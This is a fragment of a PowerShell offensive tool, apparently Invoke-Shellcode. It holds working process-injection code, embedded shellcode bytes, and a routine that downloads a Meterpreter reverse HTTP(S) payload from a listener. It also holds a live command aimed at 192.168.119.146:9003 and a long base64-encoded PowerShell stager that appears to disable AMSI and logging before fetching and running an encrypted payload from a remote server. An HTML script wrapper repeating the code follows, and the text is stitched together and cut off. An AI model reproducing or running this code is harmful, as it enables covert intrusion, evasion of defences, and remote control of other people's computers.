New-Object PSObject -Property @{ Payloads = $Payload }
}
Return
}
if ( $PSBoundParameters['ProcessID'] )
{
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
}
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
{
$IntSizePtr = $Architecture / 8
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
{
$LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)
Write-Output $LittleEndianByteArray
}
$CallStub = New-Object Byte[](0)
if ($IntSizePtr -eq 8)
{
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL RAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL RAX
}
else
{
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL EAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL EAX
}
Write-Output $CallStub
}
function Local:Inject-RemoteShellcode ([Int] $ProcessID)
{
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
Throw "Unable to open a process handle for PID: $ProcessID"
}
$IsWow64 = $false
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
{
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ((!$IsWow64) -and $PowerShell32bit)
{
Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
}
elseif ($IsWow64) # 32-bit Wow64 process
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
}
else # 64-bit process
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
}
$Shellcode = $Shellcode64
}
}
else # 32-bit CPU
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
}
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteMemAddr)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($IsWow64)
{
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
}
else
{
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
}
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteStubAddr)
{
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
}
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch remote thread in PID: $ProcessID"
}
$CloseHandle.Invoke($hProcess) | Out-Null
}
function Local:Inject-LocalShellcode
{
if ($PowerShell32bit) {
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
return
}
$Shellcode = $Shellcode32
}
else
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
return
}
$Shellcode = $Shellcode64
}
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
}
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$CallStubAddress)
{
Throw "Unable to allocate thread call stub."
}
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch thread."
}
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
}
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
if ($IsWow64ProcessAddr)
{
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
$64bitCPU = $true
}
else
{
$64bitCPU = $false
}
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $true
}
else
{
$PowerShell32bit = $false
}
if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
{
if (!$PowerShell32bit) {
$RootInvocation = $MyInvocation.Line
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
"Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
if ( !$Response )
{
Return
}
if ($MyInvocation.BoundParameters['Force'])
{
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
}
else
{
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
}
$CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
$EncodedCommand = [Convert]::ToBase64String($CommandBytes)
$Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
Invoke-Expression -Command $Execute | Out-Null
Return
}
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
"About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
if ( !$Response )
{
Return
}
switch ($Payload)
{
'windows/meterpreter/reverse_http'
{
$SSL = ''
}
'windows/meterpreter/reverse_https'
{
$SSL = 's'
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True}
}
}
if ($Legacy)
{
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
} else {
$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_}
$SumTest = $False
while ($SumTest -eq $False)
{
$GeneratedUri = $CharArray | Get-Random -Count 4
$SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)
}
$RequestUri = -join $GeneratedUri
$Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)"
}
$Uri = New-Object Uri($Request)
$WebClient = New-Object System.Net.WebClient
$WebClient.Headers.Add('user-agent', "$UserAgent")
if ($Proxy)
{
$WebProxyObject = New-Object System.Net.WebProxy
$ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer
if ($ProxyAddress)
{
$WebProxyObject.Address = $ProxyAddress
$WebProxyObject.UseDefaultCredentials = $True
$WebClientObject.Proxy = $WebProxyObject
}
}
try
{
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
}
catch
{
Throw "$($Error[0])"
}
[Byte[]] $Shellcode64 = $Shellcode32
}
elseif ($PSBoundParameters['Shellcode'])
{
[Byte[]] $Shellcode32 = $Shellcode
[Byte[]] $Shellcode64 = $Shellcode32
}
else
{
[Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
0x61,0x6c,0x63,0x00)
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
}
if ( $PSBoundParameters['ProcessID'] )
{
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
{
Inject-RemoteShellcode $ProcessId
}
}
else
{
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode into the running PowerShell process!" ) )
{
Inject-LocalShellcode
}
}
}
Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.119.146 -Lport 9003 -Forcepowershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAFIAcwBJAG8AbgBUAGEAQgBsAEUALgBQAFMAVgBlAFIAUwBJAG8ATgAuAE0AYQBqAE8AUgAgAC0AZwBlACAAMwApAHsAJABSAGUAZgA9AFsAUgBFAGYAXQAuAEEAUwBzAGUAbQBCAGwAWQAuAEcAZQB0AFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpACcAKwAnAFUAdABpAGwAcwAnACkAOwAkAFIARQBmAC4ARwBlAHQARgBpAEUATABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgAnACsAJwBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAVABWAGEATAB1AEUAKAAkAE4AdQBsAGwALAAkAFQAUgB1AGUAKQA7AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgAiAEcAZQB0AEYAaQBlAGAAbABkACIAKAAnAG0AXwBlACcAKwAnAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuACcAKwAnAFAAdQBiAGwAaQBjACwAJwArACcASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQAnACsAJwBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4AUABTAEUAJwArACcAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcgAnACkALgAiAEcAZQB0AEYAaQBlAGAAbABkACIAKAAnAGUAdAAnACsAJwB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAHUAYgAnACsAJwBsAGkAYwAsAFMAJwArACcAdABhAHQAaQBjACcAKQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMAApADsAfQA7AFsAUwBZAHMAVABlAG0ALgBOAEUAdAAuAFMAZQBSAFYASQBDAEUAUABvAGkAbgB0AE0AYQBOAEEARwBFAFIAXQA6ADoARQB4AHAARQBDAFQAMQAwADAAQwBPAG4AVABpAE4AdQBFAD0AMAA7ACQANQA3ADkAMwA9AE4AZQBXAC0ATwBCAEoARQBjAHQAIABTAFkAcwBUAGUAbQAuAE4ARQB0AC4AVwBFAEIAQwBsAGkAZQBuAHQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABzAGUAcgA9ACQAKABbAFQARQBYAFQALgBFAG4AYwBvAEQASQBOAGcAXQA6ADoAVQBOAEkAQwBvAGQARQAuAEcARQB0AFMAdABSAEkAbgBHACgAWwBDAG8AbgBWAEUAUgBUAF0AOgA6AEYAUgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIASQBuAGcAKAAnAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AZwBBAHUAQQBEAEUAQQBOAGcAQQA0AEEAQwA0AEEATQBRAEEAeABBAEQAawBBAEwAZwBBAHgAQQBEAFEAQQBOAGcAQQA2AEEARABrAEEATQBBAEEAdwBBAEQAUQBBACcAKQApACkAOwAkAHQAPQAnAC8AYQBkAG0AaQBuAC8AZwBlAHQALgBwAGgAcAAnADsAJAA1ADcAOQAzAC4ASABlAEEAZABlAHIAUwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQANQA3ADkAMwAuAFAAcgBvAFgAWQA9AFsAUwBZAFMAdABlAE0ALgBOAGUAVAAuAFcARQBCAFIARQBRAFUARQBzAFQAXQA6ADoARABlAGYAYQBVAEwAdABXAGUAYgBQAFIAbwB4AFkAOwAkADUANwA5ADMALgBQAFIAbwBYAHkALgBDAHIARQBEAEUAbgBUAEkAYQBsAFMAIAA9ACAAWwBTAHkAUwBUAEUATQAuAE4ARQB0AC4AQwByAGUARABFAG4AdABpAEEAbABDAEEAYwBIAGUAXQA6ADoARABlAEYAYQB1AEwAVABOAGUAdABXAE8AUgBrAEMAcgBlAEQARQBuAHQAaQBhAEwAcwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJAA1ADcAOQAzAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAUwBUAEUATQAuAFQARQB4AHQALgBFAE4AYwBvAGQASQBOAEcAXQA6ADoAQQBTAEMASQBJAC4ARwBFAHQAQgB5AFQARQBTACgAJwBbAEoARABfADsAeABnAEYAdgBQAGsANQA6AGoAMgAmAG8ALwA8ACwAUwBaACsAaABDAD0AcwA/AEwAQAAoACUAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBHAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AdQBOAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AQgBYAE8AUgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAA1ADcAOQAzAC4ASABFAGEARABFAHIAcwAuAEEARABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgB4AHAAdQBvAFkAaAByAGgAPQBUAGUAWQBQAFoAVQBMAEQAWQAwAHQAQQA5AG0AdAB2AEUAKwB2AFkAMwAwAHUAZgBKAHYAdwA9ACIAKQA7ACQAZABhAFQAQQA9ACQANQA3ADkAMwAuAEQAbwBXAE4ATABPAGEARABEAGEAdABhACgAJABzAEUAcgArACQAVAApADsAJABpAFYAPQAkAGQAYQBUAEEAWwAwAC4ALgAzAF0AOwAkAEQAQQBUAEEAPQAkAEQAQQBUAEEAWwA0AC4ALgAkAGQAQQB0AGEALgBsAGUAbgBHAHQAaABdADsALQBqAG8ASQBuAFsAQwBoAEEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAQQBUAEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==<html><head><script>var c= 'function Invoke-Shellcode
{
[CmdletBinding( DefaultParameterSetName = \'RunLocal\', SupportsShouldProcess = $True , ConfirmImpact = \'High\')] Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,
[Parameter( ParameterSetName = \'RunLocal\' )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Shellcode,
[Parameter( ParameterSetName = \'Metasploit\' )]
[ValidateSet( \'windows/meterpreter/reverse_http\',
\'windows/meterpreter/reverse_https\',
IgnoreCase = $True )]
[String]
$Payload = \'windows/meterpreter/reverse_http\',
[Parameter( ParameterSetName = \'ListPayloads\' )]
[Switch]
$ListMetasploitPayloads,
[Parameter( Mandatory = $True,
ParameterSetName = \'Metasploit\' )]
[ValidateNotNullOrEmpty()]
[String]
$Lhost = \'127.0.0.1\',
[Parameter( Mandatory = $True,
ParameterSetName = \'Metasploit\' )]
[ValidateRange( 1,65535 )]
[Int]
$Lport = 8443,
[Parameter( ParameterSetName = \'Metasploit\' )]
[ValidateNotNull()]
[String]
$UserAgent = (Get-ItemProperty -Path \'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\').\'User Agent\',
[Parameter( ParameterSetName = \'Metasploit\' )]
[ValidateNotNull()]
[Switch]
$Legacy = $False,
[Parameter( ParameterSetName = \'Metasploit\' )]
[ValidateNotNull()]
[Switch]
$Proxy = $False,
[Switch]
$Force = $False
)
Set-StrictMode -Version 2.0
if ($PsCmdlet.ParameterSetName -eq \'ListPayloads\')
{
$AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters[\'Payload\'].Attributes |
Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
foreach ($Payload in $AvailablePayloads.ValidValues)
{
New-Object PSObject -Property @{ Payloads = $Payload }
}
Return
}
if ( $PSBoundParameters[\'ProcessID\'] )
{
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
}
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName(\'ReflectedDelegate\')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(\'InMemoryModule\', $false)
$TypeBuilder = $ModuleBuilder.DefineType(\'MyDelegateType\', \'Class, Public, Sealed, AnsiClass, AutoClass\', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor(\'RTSpecialName, HideBySig, Public\', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags(\'Runtime, Managed\')
$MethodBuilder = $TypeBuilder.DefineMethod(\'Invoke\', \'Public, HideBySig, NewSlot, Virtual\', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags(\'Runtime, Managed\')
Write-Output $TypeBuilder.CreateType()
}
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
